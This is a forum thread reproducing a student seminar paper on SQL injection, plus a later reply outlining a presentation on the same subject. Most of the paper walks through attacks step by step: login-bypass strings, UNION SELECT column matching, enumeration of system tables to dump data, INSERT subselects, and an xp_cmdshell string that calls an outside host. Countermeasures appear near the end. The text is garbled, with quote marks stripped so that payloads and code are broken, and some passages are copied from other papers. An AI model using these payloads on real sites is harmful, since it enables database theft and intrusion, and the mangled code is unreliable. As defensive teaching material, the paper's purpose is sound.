ABSTRACT This paper contains information about this extremely popular database attack.

Most of today's web applications require dynamic content and input from users to achieve the same appeal as traditional applications within the desktop operating systems. This is achieved by using languages such as SQL the most common being mySQL. The attacker can gain unauthorized access to restricted data suck as usernames /passwords/email addresses etc. Using SQL injections, attackers can: Add new data to the database. With some more advanced queries and tricky techniques the attacker can potentially bypass the authentication and gain complete control over the web application and potentially the web server.. Perform an INSERT in the injected SQL Modify data currently in the database. Perform an UPDATE in the injected SQL Often can gain access to other users system capabilities by obtaining their password. Could be embarrassing to find yourself selling politically incorrect items on an e-Commerce site.Page 5 TABLE OF CONTENTS Chapter No. Title PAGE LIST OF FIGURES ii 1. INTRODUCTION 1 2. CHECKING FOR VULNERABILITY 3 3 ATTACKS 6 3.1 AUTHORIZATION BYPASS 3.2 USING THE SELECT COMMAND 3.3 USING THE INSERT COMMAND 3.4 USING SQL SERVERS STORED PROCEDURES 4. AUTOMATED SQL INJECTION TOOLS 20 5. COUNTERMEASURES 21 5.1 INPUT VALIDATION 5.2 SQL SERVER LOCKDOWN 5.3 ROBUST NETWORK ARCHITECTURE 6. CONCLUSION 23 7. REFERENCES 24 iPage 6 LIST OF FIGURES NO: NAME PAGE 3.2.1 BROWSER RESPONSE ON UNION COMMAND 13 3.2.2 TABLES USING WHERE

14 3.2.3 TABLES USING SELECT 16 3.2.4 TABLES USING UNION 17 5.3.1 ROBUST NETWORK ARCHITECTURE 25 iiPage 7 SQL Injection 1. Introduction The World Wide Web has experienced remarkable growth in recent years. Businesses , individuals, and governments have found that web applications can offer effectiv e, efficient and reliable solutions to the challenges of communicating and conducti ng commerce in the Twenty-first century. However, in the cost-cutting rush to bring their web-based applications on line or perhaps just through simple ignorance many software companies overlook or introduce critical security issues. To build secure applications, developers must acknowledge that security is a fundamental component of any software product and that safeguards must be infused with the s oftware as it is being written. Building security into a product is much easier (and vastly more cost-effective) than any post-release attempt to remove or limit the flaws that invite intruders to attack your site. To prove that dictum, consider the case of blind SQL injection SQL injection is a technique for exploiting web applications that use client-sup plied data in SQL queries, but without first stripping potentially harmful characters. Desp ite being remarkably simple to protect against, there is an astonishing number of producti on systems connected to the Internet that are vulnerable to this type of attack. Th e objective of this paper is to focus the professional security community on the techniques that can be used to take advantage of a web application that is vulnerable to SQL injecti on, and to make clear the correct mechanisms that should be put in place to protect against SQL injection and input validation problems in general. Most of today's web applications require dynamic content and input from users to achieve the same appeal as traditional applications within the desktop operating systems. This is achieved by using languages such as SQL the most common being mySQL. SQL Injection is inputting the raw transact SQL Query into an application to per form an Division of Computer Engineering 1Page 8 SQL Injection unexpected action. Most of the time existing queries are edited to achieve the s

ame results. Transact SQL is easily changed by the placement of a single character i n a chosen spot causing the query to behave in malicious ways. The most commonly used chara cters are backtick (`), double dash(--), and the semi colon (Wink all of witch have sp ecific meaning in SQL. So what exactly can an attacker do with an unsurped SQL query? The attacker can gain unauthorised access to restricted data suck as usernames /passwords / email addresses etc. With some more advanced queries and sneakier techniques the attacker can potentially bypass the authentication and gain compl ete control over the web application and potentially the web server. This is a hacking method that allows an unauthorized attacker to access a databa se server. It is facilitated by a common coding blunder: the program accepts data from a cl ient and executes SQL queries without first validating the clients input. The attacker is then free to extract, modify, add, or delete content from the database. In some circumstan ces, he may even penetrate past the database server and into the underlying operating sy stem. Hackers typically test for SQL injection vulnerabilities by sending the applicat ion input that would cause the server to generate an invalid SQL query. If the server then returns an error message to the client, the attacker will attempt to reverse-engineer porti ons of the original SQL query using information gained from these error messages. The typic al administrative safeguard is simply to prohibit the display of database server er ror messages. Regrettably, thats not sufficient. Blind SQL injection can still evade the databases. Character Encoding Most web browsers will not properly interpret requests containing punctuation ch aracters and many other symbols unless they are URL-encoded. In this paper, I have used r egular ASCII characters in the examples and screenshots to maintain maximum readability . In Division of Computer Engineering 2Page 9 SQL Injection practice, though, you will need to substitute %25 for percent sign, %2B for plus sign, etc., in the HTTP request statement. 2. Checking for Vulnerability Thoroughly checking a web application for SQL injection vulnerability takes more effort than one might guess. Its nice when you throw a single quote into the first argum ent of a script and the server returns a nice blank, white screen with nothing but an ODB C error on it, but such is not always the case.

It is very easy to overlook a perfectly vulnerable script if you dont pay attenti on to details. You should always check every parameter of every script on the server. Developers and development teams can be awfully inconsistent. The programmer who designed Script A might have had nothing to do with the development of Script B, so where one might be immune to SQL injection, the other might be ripe for abuse. I n fact, the programmer who worked on Function A in Script A might have nothing to do wit h Function B in Script A, so while one parameter in one script might be vulnerable , another might not. Even if an entire web application is conceived, designed, coded and t ested by one programmer, one vulnerable parameter might be overlooked. You never can be s ure. Test everything . Testing procedure Replace the argument of each parameter with a single quote and an SQL keyword (s uch as " WHERE"). Each parameter needs to be tested individually. Not only that, but when testing each parameter, leave all of the other parameters unchanged, with valid data as their arguments. It can be tempting to simply delete everything youre not working with Division of Computer Engineering 3Page 10 SQL Injection to make things look simpler, particularly with applications that have parameter lines that go into many thousands of characters. Leaving out parameters or giving other par ameters bad arguments while youre testing another for SQL injection can break the applica tion in other ways that prevent you from determining whether or not SQL injection is pos sible. For instance, assume that this is a completely valid, unaltered parameter line ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste while this parameter line gives you an ODBC error ContactName=Maria %20Anders&CompanyName=%20OR and checking with this line might simply return an error indicating that you nee d to specify a ContactName value. CompanyName= This line ContactName=BadContactName&CompanyName= might give you the same page as the request that didnt specify ContactName at all. Or, it might give you the sites default homepage. Or, perhaps when the applicatio n couldnt find the specified ContactName, it didnt bother to look at CompanyName, so it didnt even pass the argument of that parameter into an SQL statement. Or, it migh t give you something completely different. So, when testing for SQL injection, always u se the full parameter line, giving every argument except the one that you are testing a legitimate

value. Evaluating Results If the server returns a database error message of some kind, injection was defin itely successful. However, the messages arent always obvious. Again, developers do some strange things, so you should look in every possible place for evidence of succe ssful injection. First, search through the entire source of the returned page for phra ses such as Division of Computer Engineering 4Page 11 SQL Injection ODBC, SQL Server, Syntax, etc. More details on the nature of the error can be in hidden input, comments, etc. Check the headers. I have seen web applications on production systems that return an error message with absolutely no information i n the body of the HTTP response, but that have the database error message in a header. Many web applications have these kinds of features built into them for debugging and QA purposes, and then developers forget to remove or disable them before release. You should look not only on the immediately returned page, but also in linked pa ges. During a recent penetration test, I saw a web application that returned a generi c error message page in response to an SQL injection attack. Clicking on a stop sign ima ge next to the error retrieved another page giving the full SQL Server error message. Another thing to watch out for is a 302 page redirect. You may be whisked away f rom the database error message page before you even get a chance to notice it. Note that SQL injection may be successful even if the server returns an ODBC err or messages. Many times the server returns a properly formatted, seemingly generic error message page telling you that there was an internal server error or a problem processing your request. Some web applications are designed to return the client to the sites main page wh enever any type of error occurs. If you receive a 500 Error page back, chances are that injection is occurring. Many sites have a default 500 Internal Server Error page that clai ms that the server is down for maintenance, or that politely asks the user to send an e-mail to their support staff. It can be possible to take advantage of these sites using stored procedure techniques. Division of Computer Engineering 5Page 12 SQL Injection 3. Attacks This section describes the following SQL injection techniques: Authorization bypass Using the SELECT command Using the INSERT command Using SQL server stored procedures 3.1 Authorization Bypass

The simplest SQL injection technique is bypassing logon forms. Consider the following web application code: SQLQuery = "SELECT Username FROM Users WHERE Username = " & strUsername & " AND Password = " & strPassword & "" strAuthCheck = GetQueryResult(SQLQuery) If strAuthCheck = "" Then boolAuthenticated = False Els e boolAuthenticated = True End If Heres what happens when a user submits a username and password. The query will go through the Users table to see if there is a row where the username and password in the row match those supplied by the user. If such a row is found, the username is st ored in the variable strAuthCheck, which indicates that the user should be authenticated . If there is no row that the user-supplied data matches, strAuthCheck will be empty and th e user will not be authenticated. If strUsername and strPassword can contain any characters that you want, you can modify the actual SQL query structure so that a valid name will be returned by t he query even if you do not know a valid username or a password. How? Lets say a user fill s out the logon form like this: Login: OR = Password: OR = This will give SQLQuery the following value: Division of Computer Engineering 6Page 13 SQL Injection SELECT Username FROM Users WHERE Username = OR = AND Password = OR = Instead of comparing the user-supplied data with that present in the Users table , the query compares a quotation mark (nothing) to another quotation mark (nothing). This, o f course, will always return true. (Please note that nothing is different from nul l.) Since all of the qualifying conditions in the WHERE clause are now met, the application wi ll select the username from the first row in the table that is searched. It will pa ss this username to strAuthCheck, which will ensure our validation. It is also possible to use another rows data, using single result cycling techniques. 3.2 Using the SELECT Command For other situations, you must reverse-engineer several parts of the vulnerable web applications SQL query from the returned error messages. To do this, you must kno w how to interpret the error messages and how to modify your injection string to d efeat them. Direct vs. Quoted The first error that you normally encounter is the syntax error. A syntax error indicates that the query does not conform to the proper structure of an SQL query. The fir st thing that you need to determine is whether injection is possible without escaping quo tation. In a direct injection, whatever argument you submit will be used in the SQL quer

y without any modification. Try taking the parameters legitimate value and appendin g a space and the word OR to it. If that generates an error, direct injection is pos sible. Direct values can be either numeric values used in WHERE statements, such as thi s SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE Employee = " & intEmployeeID or the argument of an SQL keyword, such as table or column name: Division of Computer Engineering 7Page 14 SQL Injection SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " & strColumn All other instances are quoted injection vulnerabilities. In a quoted injection, whatever argument you submit has a quote prefixed and appended to it by the application, like this: SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE EmployeeID = " & strCity & "" To break out of the quotes and manipulate the query while maintaining valid synt ax, your injection string must contain a single quote before you use an SQL keyword, and end in a WHERE statement that needs a quote appended to it. And now to address t he problem of cheating. Yes, SQL Server will ignore everything after a ;-- but its t he only server that does that. Its better to learn how to do this the hard way so th at youll know how to handle an Oracle, DB/2, MySQL, or any other kind of database server. Basic UNION SELECT queries are used to retrieve information from a database. Most web applic ations that use dynamic content of any kind will build pages using information returned from SELECT queries. Most of the time, the part of the query that you will be able to manipulate will be the WHERE clause. To make the server return records other than those intended, modify a WHERE clau se by injecting a UNION SELECT. This allows multiple SELECT queries to be specified in one statement. Heres one example: SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1 This will return the recordsets from the first query and the second query togeth er. The ALL is necessary to escape certain kinds of SELECT DISTINCT statements. Just mak e sure that the first query (the one the web applications developer intended to be executed) returns no records. Suppose you are working on a script with the following code: Division of Computer Engineering 8Page 15 SQL Injection SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = " & strCity & "" And you use this injection string:

 UNION ALL SELECT OtherField FROM OtherTable WHERE = The following query will be sent to the database server: SELECT FirstName, LastName, Title FROM Employees WHERE City = UNION ALL SELECT OtherField FROM OtherTable WHERE = The database engine will inspect the Employees table, looking for a row where Ci ty is set to nothing. Since it will not find it, no records will be returned. The only rec ords that will be returned will be from the injected query. In some cases, using nothing w ill not work because there are entries in the table where nothing is used, or because sp ecifying nothing makes the web application do something else. You simply need to specify a value that does not occur in the table. When a number is expected, zero and nega tive numbers often work well. For a text argument, simply use a string such as NoSuchRecord or NotInTable. Query Enumeration with Syntax Errors Some database servers return the portion of the query containing the syntax erro r in their error messages. In these cases you can bully fragments of the SQL query from the server by deliberately creating syntax errors. Depending on the way the query is designed, some strings will return useful information and others will not. Heres my list of suggested attack strings. Several will often return the same or no information, but there are instances where only one of them will give you helpfu l information. Try them all BadValue BadValue OR OR ; 9,9,9 Division of Computer Engineering 9Page 16 SQL Injection Parentheses If the syntax error contains a parenthesis in the cited string (such as the SQL Server message used in the following example) or the message complains about missing parentheses, add a parenthesis to the bad value part of your injection string, a nd one to the WHERE clause. In some cases, you may need to use two or more parentheses. Heres the code used in parenthesis.asp: mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = " & strCity & ")" So, when you inject this value ) UNION SELECT OtherField FROM OtherTable WHERE (=, the following query will be sent to the server: SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = ) UNION SELECT OtherField From OtherTable WHERE (=) LIKE Queries Another common debacle is being trapped in a LIKE clause. Seeing the LIKE keywor d or percent signs cited in an error message are indications of this situation. Most search functions use SQL queries with LIKE clauses, such as the following: SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName

LIKE %" & strLastNameSearch & "%" The percent signs are wildcards, so in this example the WHERE clause would retur n true in any case where strLastNameSearch appears anywhere in LastName. To stop the intended query from returning records, your bad value must be something that none of the values in t he LastName field contain. The string that the web application appends to the user input (us ually a percent sign and single quote, and often parenthesis as well) needs to be mirrored in the WHE RE clause of the injection string. Also, using nothing as your bad values will make the LIKE argument % % resulting in a full wildcard, which returns all records. The second screenshot shows a working injection query for the above code. Division of Computer Engineering 10Page 17 SQL Injection Dead Ends There are situations that you may not be able to defeat without an enormous amou nt of effort, if at all. Occasionally youll find yourself in a query that you just cant seem to bre ak. No matter what you do, you get error after error after error. Many times, this is because youre trapped inside a function thats inside a WHERE clause, and the WHERE clause is in a subse lect which is an argument of another function whose output is having string manipulations p erformed on it and then used in a LIKE clause which is in a subselect somewhere else. Not even SQL Servers ;- - can rescue you in those cases . Column Number Mismatch If you can get around the syntax error, the hardest part is over. The next error message will probably complain about a bad table name. Choose a valid system table name. You will then most likely be confronted with an error message that complains abo ut the difference in the number of fields in the SELECT and UNION SELECT queries. You n eed to find out how many columns are requested in the legitimate query. Lets say that th is is the code in the web application that youre attacking: SQLString = SELECT FirstName, LastName, EmployeeID FROM Employees WHERE City = " & strCity "" The legitimate SELECT and the injected UNION SELECT need to have an equal number of columns in their WHERE clauses. In this case, they both need three. Their column types also need to match. If FirstName is a string, then the corresponding field in your in jection string needs to be a string as well. Some servers, such as Oracle, are very strict abou t this. Others are more lenient and allow you to use any data type that can do implicit conversion to the correct data type. For example, in SQL Server, putting numeric data in a varchars place i s allowed,

because numbers can be converted to strings implicitly. Putting text in a smalli nt column, however, is illegal because text cannot be converted to an integer. Because nume ric types often convert to strings easily (but not vice versa), use numeric values by default. To determine the number of columns you need to match, keep adding values to the UNION SELECT clause until you stop getting a column number mismatch error. If you enco unter a data Division of Computer Engineering 11Page 18 SQL Injection type mismatch error, change the data type (of the column you entered) from a num ber to a literal. Sometimes you will get a conversion error as soon as you submit an incorrect dat a type. At other times, you will get only the conversion message once youve matched the correct nu mber of columns, leaving you to figure out which columns are the ones that are causing t he error. When the latter is the case, matching the value types can take a very long time, sinc e the number of possible combinations is 2 n where n is the number of columns in the query. By the way, 40column SELECT commands are not terribly uncommon. If all goes well, the server should return a page with the same formatting and s tructure as a legitimate one. Wherever dynamic content is used, you should have the results of your injection query. To illustrate, when I submitted the following command http://localhost/column.asp?city=UNION ALL SELECT 9 FROM SysObjects WHERE = All queries in an SQL statement containing a UNION operator must have an equal n umber of expressions in their target lists. Division of Computer Engineering 12Page 19 SQL Injection Fig:3.2.1 Browser response on Union command So I incremented the number of columns and resubmitted the command, continuing t his until I received a different error message. http://localhost/column.asp?city=UNION ALL SELECT 9,9 FROM SysObjects WHERE = http://localhost/column.asp?city=UNION ALL SELECT 9,9,9 FROM SysObjects WHERE = http://localhost/column.asp?city=UNION ALL SELECT 9,9,9,9 FROM SysObjects WHERE = On the last command, the server returned the following error message: Operand type dash; ntext is incompatible with int. Division of Computer Engineering 13Page 20 SQL Injection So I submitted the following command and the server returned the page illustrate d in Figure 2: http://localhost/column.asp?city=UNION ALL SELECT 9,9,9,text FROM SysObjects WHERE = Fig:3.2.2 Tables using WHERE

Additional WHERE Columns Sometimes your problem may be additional WHERE conditions that are added to the query after your injection string. Consider this line of code: Division of Computer Engineering 14Page 21 SQL Injection SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = " & strCity & " AND Country = USA" Trying to deal with this query like a simple direct injection would yield a quer y such as: SELECT FirstName, LastName, Title FROM Employees WHERE City = NoSuchCity UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country = USA Which yields an error message such as: [Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name Country. The problem here is that your injected query does not have a table in the FROM c lause that contains a column named Country in it. There are two ways to solve this problem: use the ;-terminator (if youre using SQL Server), or guess the name of the table that the o ffending column is in and add it to your FROM clause. Use the attack queries listed in Qu ery Enumeration with Syntax Errors to try to get as much of the legitimate query bac k as possible . Table and Field Name Enumeration Now that you have injection working, you have to decide what tables and fields y ou want to access. With SQL Server, you can easily get all of the table and column names in the database. With Oracle and Access, you may or may not be able to do this, depending on the privileges of the account that the web application is using to access the database. The key is to be able to access the system tables that contain the table and col umn names. In SQL Server, they are called sysobjects and syscolumns, respectively. There is a list of system tables for other database servers at the end of this document; you will also nee d to know relevant column names in those tables). These tables contain a listing of all tables and columns in the database. To get a list of user tables in SQL Server, use the following injectio n query, modified to fit you own circumstances: SELECT name FROM sysobjects WHERE xtype = U This will return the names of all user-defined tables (thats what xtype = U does) i n the database. Once you find one that looks interesting (well use Orders), you can get the names of the fields in that table with an injection query similar to this Division of Computer Engineering 15Page 22 SQL Injection SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = Orders) The first illustration in Figure 3 shows the results returned by the following i njection query:

http://localhost/simplequoted.asp?city = UNION ALL SELECT name, 0, 0, A, 0 FROM sysobjects WHERE xtype=U The second illustration in Figure 6 shows the results returned by the following injection query: http://localhost/simplequoted.asp?city = UNION ALL SELECT name, 0, 0, A, 0 FROM sysobjects WHERE id = (SELECT id FROM sysobjects WHERE name = ORDERS) AND = Fig:3.2.3 Tables USING SELECT Division of Computer Engineering 16Page 23 SQL Injection Fig:3.2.4 Tables using UNION Single Record Cycling If possible, use an application that is designed to return as many results as po ssible. Search tools are ideal because they are made to return results from many different rows at on ce. Some applications are designed to use only one recordset in their output at a time, a nd ignore the rest. If youre faced with a single product display application, you can still prevail. You can manipulate your injection query to allow you to slowly, but surely, get your desired information back in full. This is accomplished by adding qualifiers to the WHERE clause that prevent certain rows information from being selected. Lets say you started with th is injection string: UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE = And you got the first values in FieldOne, FieldTwo and FieldThree injected into your document. Lets say the values of FieldOne, FieldTwo and FieldThree were Alpha, Beta and Del ta, respectively. Your second injection string would be: UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne NOT IN (Alpha) AND FieldTwo NOT IN (Beta) AND FieldThree NOT IN (Delta) AND = Division of Computer Engineering 17Page 24 SQL Injection The NOT IN VALUES clause makes sure that the information you already know will n ot be returned again, so the next row in the table will be used instead. Lets say these values were AlphaAlpha, BetaBeta and DeltaDelta.. 3.3 Using the INSERT Command The INSERT command is used to add information to the database. Common uses of IN SERT in web applications include user registrations, bulletin boards, adding items to sh opping carts, etc. Checking for vulnerabilities with INSERT statements is the same as doing it with WHERE. You may not want to try to use INSERT if avoiding detection is an important issue. I NSERT injection often floods rows in the database with single quotes and SQL keywords from the r everseengineering process. Depending on how watchful the administrator is and what is being done with the information in that database, it may be noticed. Heres how INSERT injection differs from SELECT injection. Suppose a site allows u

ser registration of some kind, providing a form where you enter your name, address, phone number, etc. After submitting the form, you navigate to a page where it displays this in formation and gives you an option to edit it. This is what you want. To take advantage of an I NSERT vulnerability, you must be able to view the information that youve submitted. It doesnt matter where it is. Maybe when you log on, it greets you with the value it has stored f or your name in the database. Maybe the application sends you e-mail with the Name value in it. However you do it, find a way to view at least some of the information youve entered . An INSERT query looks like this: INSERT INTO TableName VALUES (Value One, Value Two, Value Three) You want to be able to manipulate the arguments in the VALUES clause to make the m retrieve other data. You can do this using subselects. Consider this example code: 3.4 SQLString = "INSERT INTO TableName VALUES (" & strValueOne & ", " & strValueTwo & ", " & strValueThree & ")" Division of Computer Engineering 18Page 25 SQL Injection You fill out the form like this: Name: + (SELECT TOP 1 FieldName FROM TableName) + Email: blah[at]blah.com Phone: 333-333-3333 Making the SQL statement look like this: INSERT INTO TableName VALUES ( + (SELECT TOP 1 FieldName FROM TableName) + , blah[at]blah.com, 333-333-3333) When you go to the preferences page and view your users information, youll see the first value in FieldName where the users name would normally be. Unless you use TOP 1 in your subselect, youll get back an error message saying that the subselect returned too many records. You can go through all of the rows in the table using NOT IN ( ) the same way it is used in single-record cycling. Division of Computer Engineering 19Page 26 SQL Injection 4. Automated SQL Injection Tools SQL Injection is typically performed manually, BUT some tools are available that will help automate the process of identifying and exploiting the vulnerability. Wpoison is a tool that will find any strings potentially SQL Injection vulnerabi lities in dynamic web documents. SQL error strings are stored in a signature file, making it easie r for anyone to add their own signature for a possible SQL Injection signature for a web applica tion. Wpoison runs on linux and is available at http://wpoison.sourceforeg.net mieliekoek.pl is an SQL Injection insertion crawler that will test all forms on a website for possible SQL Insertion problems. This script will take the output of a websi te mirroring tool

as input inspecting every file and determining whether there is a form in the fi le. The string to be injected can easily be changed in the configuration file. To obtain a copy of the script please see 'http://packetstormsecurity.com/UNIX/security/mieliekoek.pl' please m ake sure you have a perl environment installed. Here is an example of the output of mieliekoek.pl : $badstring='blah'; $badstring='blah' or 1=1 --'; $badstring='blah' exec master..xp_cmdshell 'nslookup a.com 192.168.1.6' - ; SPI toolkit from SPI Dynamics contains a tool called SQL Injector that will auto mate SQL Injection testing. The SPI Toolkit is available at http://www.spidynamics.com Division of Computer Engineering 20Page 27 SQL Injection 5. Countermeasures 5.1 Input Validation Input validation can be a complex subject. Typically, too little attention is pa id to it in a development project, since overenthusiastic validation tends to cause parts of a n application to break, and the problem of input validation can be difficult to so lve. Input validation tends not to add to the functionality of an application, and thus it is generally overlooked in the rush to meet imposed deadlines. The following is a brief discussion of input validation, with sample code. This sample code is (of course) not intended to be directly used in applications, but it doe s illustrate the differing strategies quite well. The different approaches to data validation can be categorised as follows: 1) Attempt to massage data so that it becomes valid 2) Reject input that is known to be bad 3) Accept only input that is known to be good Solution (1) has a number of conceptual problems; first, the developer is not ne cessarily aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered all the time. Second, 'massaging' the data can alter its length, which can resul t in problems as described above. Finally, there is the problem of second-order effec ts involving the reuse of data already in the system. Solution (2) suffers from some of the same issues as (1); 'known bad' input chan ges over time, as new attack techniques develop. Solution (3) is probably the better of the three, but can be harder to implement . Probably the best approach from a security point of view is to combine approache s (2) and (3) - allow only good input, and then search that input for known 'bad' data . A good example of the necessity to combine these two approaches is the problem o f hyphenated surnames : Quentin Bassington-Bassington

Division of Computer Engineering 21Page 28 SQL Injection We must allow hyphens in our 'good' input, but we are also aware that the charac ter sequence '--' has significance to SQL server. Another problem occurs when combining the 'massaging' of data with validation of character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select' and 'union' followed by a 'massaging' filter that removes single-quotes, the att acker could specify input like uni'on sel'ect @@version-'Since the single-quote is removed after the 'known bad' filter is applied, the a ttacker can simply intersperse single quotes in his known-bad strings to evade detection. Here is some example validation code. Approach 1 - Escape singe quotes function escape( input ) input = replace(input, "'", "''") escape = input end function Approach 2 - Reject known bad input function validate_string( input ) known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" ) validate_string = true for i = lbound( known_bad ) to ubound( known_bad ) if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then validate_string = false exit function end if next end function Approach 3 - Allow only good input function validatepassword( input ) Division of Computer Engineering 22Page 29 SQL Injection good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" validatepassword = true for i = 1 to len( input ) c = mid( input, i, 1 ) if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false exit function end if next end function 5.2 SQL Server Lockdown The most important point here is that it *is* necessary to 'lock down' SQL serve r; it is not secure 'out of the box'. Here is a brief list of things to do when creating a SQL Serve r build: 1. Determine methods of connection to the server a. Verify that only the network libraries you're using are enabled, using the 'N etwork

utility' 2. Verify which accounts exist a. Create 'low privileged' accounts for use by applications b. Remove unnecessary accounts Division of Computer Engineering 23Page 30 SQL Injection c. Ensure that all accounts have strong passwords; run a password auditing scrip t (such as the one provided as an appendix to this paper) against the server on a regular basis 3. Verify which objects exist a. Many extended stored procedures can be removed safely. If this is done, consi der removing the '.dll' file containing the extended stored procedure code. b. Remove all sample databases - the 'northwind' and 'pubs' databases, for examp le. 4. Verify which accounts can access which objects a. The account that an application uses to access the database should have only the minimum permissions necessary to access the objects that it needs to use. 5. Verify the patch level of the server a. There are several buffer overflow and format string attacks against SQL Serve r (mostly discovered by the author) as well as several other 'patched' security issues. It is likely that more exist. 6. Verify what will be logged, and what will be done with the logs. An excellent lockdown checklist is provided at http://www.sqlsecurity.com.. Replace direct SQL statements with stored procedures, prepared statements, or AD O command Objects. Division of Computer Engineering 24Page 31 SQL Injection Implements Default Error Handling. This would include using a single error messa ge for all errors Lock down ODBC. Disable Messaging to clients. Don't let regular SQL Statements t hrough Lock down User Database configuration Specify. users, roles and permissions etc. 5.3 Robust network architecture design will aid in the defense of any enterprise . The diagram shows a defensible network design by utilizing a De-Militarized Zone (DMZ) to ho ld all public facing servers Fig: 5.3.1 Robust Network Architecture 6. Conclusions Division of Computer Engineering 25Page 32 SQL Injection This article is to make aware the people who are anyways related to database maintenance say DBA, Site owner, Computer science students involving in projects related to database and to general people who are launching their sites on inter net. Through this article one can know that what are the breaches that can be secured either code or protection security like firewalls.

So, before launching your site or when checking your site try to check atleast t he codes what are illustrated in this article and if you find any bugs please correct it as soon as possible and if its not your website then please inform the owner through mail o r phone that that site has bugs( be ethical) else attacking on other sites using this te chnique is illegal, so I m not responsible for any kind of unethical stuffs. Do that at you r own risk. 7. References [1] Web Application Disassembly with ODBC Error Messages, David Litchfield Division of Computer Engineering 26Page 33 SQL Injection http://www.nextgenss.com/papers/webappdis.doc [2] SQL Server Security Checklist http://www.sqlsecurity.com/checklist.asp [3] SQL Server 2000 Extended Stored Procedure Vulnerability http://www.atstake.com/research/advisori...0100-2.txt [4] Microsoft SQL Server Extended Stored Procedure Vulnerability http://www.atstake.com/research/advisori...0100-1.txt [5] Multiple Buffer Format String Vulnerabilities In SQL Server http://www.microsoft.com/technet/securit...01-060.asp http://www.atstake.com/research/advisori...2001-1.txt [6] http://www.youtube.com/watch?v=MJNJjh4jORY Find all posts by this userfind Quote this message in a replyQuote Quote this p ost Offline Sandesh K R clock20-04-2010, 09:06 AM Post: #2 Junior Member ** 4 posts please if u have this report (SQL injection in .doc ) please do upload ..... Thank you Smile Find all posts by this userfind Quote this message in a replyQuote Quote this p ost Offline seminar topics maker clock24-04-2010, 08:16 PM Post: #3 Posting Freak ***** 2,490 posts Presented By: BY:Nikita Dhurve Bvcoew,Pune. SQL INJECTION SYNOPSIS:This paper contains information about extremely popular database attacks. Most o f today's web applications require dynamic content and input from users which fu rther are maintained in a database. This is achieved by using languages such as SQL the most common being mySQL.

A SQL injection attack consists of insertion or "injection" of a SQL query via t he input data from the client to the application. A successful SQL injection exp loit can read sensitive data from the database, modify database data (Insert/Upd ate/Delete), execute administration operations on the database recover the conte nt of a given file present on the DBMS file system. The attacker can gain unauthorized access to restricted data such as usernames / passwords/email addresses etc which is sucked by the web applications to perform some specific tasks. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS. CATEGORIES OF SQL INJECTION ATTACKS Four main categories of SQL Injection attacks against Oracle databases 1. SQL Manipulation 2. Code Injection 3. Function Call Injection 4. Buffer Overflows AVOIDING SQL INJECTION VULNERABILITIES The various techniques used to prevent SQL injections are: 1. Parameterized query 2. Stored procedure 3. Regular expression to discard input string 4. Quoteblock function 5. Do not show detailed error messages to the user. 6. Have a less privileged user/role of your application in database AUTOMATED SQL INJECTION TOOLS 1.Wpoison is a tool that will find any strings potentially SQL Injection vulnera bilities in dynamic web documents. 2. mieliekoek.pl is an SQL Injection insertion crawler that will test all forms on a website for possible SQL injection problem. 3. SQLbf is a SQL Server Password Auditing tool. This tool should be used to aud it the strength of Microsoft SQL Server passwords offline. Conclusion:The purpose of this article is to make aware the people related to database maintenance say DBA, Site owner, Computer science students working on database p rojects and to general people who are launching their sites on internet.Through this art icle one can know that what are the breaches that can be secured either code or protection security like firewalls. Find all posts by this userfind Quote this message in a replyQuote Quote this p ost Offline seminar topics maker clock25-04-2010, 09:13 PM Post: #4 Posting Freak ***** 2,490 posts [3411] SQL INJECTION Presented By: Nikita Dhurve What is SQL SQL stands for Structured Query Language. Allows us to access a database. Database is maintained in table form.

SQL can perform: Execute queries against database. Retrieve data from the database. Insert new record in database. Delete a record from database. Update records in the database. SQL QUERIES:SQL supports same major keywords in a similar manner such as (SELECT, UPDATE, DE LETE, INSERT, WHERE and others). With SQL, we can query a database and have result set returned. Using a query as this:SELECT lastname FROM users WHERE userid=1; Will retrieve the lastname of from user table where id is 1. WHAT IS SQL INJECTION HOW COMMON IT IS It is probably the most common Website vulnerability today! It is a flaw in "web application" development, it is not a DB or web server problem Most programmers are still not aware of this problem A lot of the tutorials & demo templates are vulnerable Even worse, a lot of solutions posted on the Internet are not good enough

VULNERABLE APPLICATION When the end user string input is not properly validated and is passed to a dyna mic SQL statement without any such validation. The string input is usually passed directly to the SQL statement. Because of the stateless nature of many web applications, it is common to write data to the database or store it using some other means between web pages. This indirect type of attack is much more complex and often requires in-depth kn owledge of the application.

NOT VULNERABLE SQL Statements using bind variables are generally protected from SQL Injection a s the Oracle database will use the value of the bind variable exclusively and no t interpret the contents of the variable in any way. PL/SQL and JDBC allow for bind variables. Bind variables should be extensively used for both security and performance reas ons.

SQL INJECTION CHARACTER ' or " character String Indicators -- or # single-line comment /**/ multiple-line comment + addition, concatenate (or space in url) || (double pipe) concatenate % wildcard attribute indicator Param1=foo&Param2=bar URL Parameters

PRINT useful as non transactional command @variable local variable @@variable global variable waitfor delay '0:0:10' time delay POWER OF In a SQL statement the user filled fields are enclosed by single quotation marks ('). A simple test would be to try using (') as the username. The following error message will be displayed when a (') is entered into a form that is vulnerable to SQL injection: WARNING:-Input validation attacks occur here on a website. If this error is displayed then SQL injection techniques can be tried.

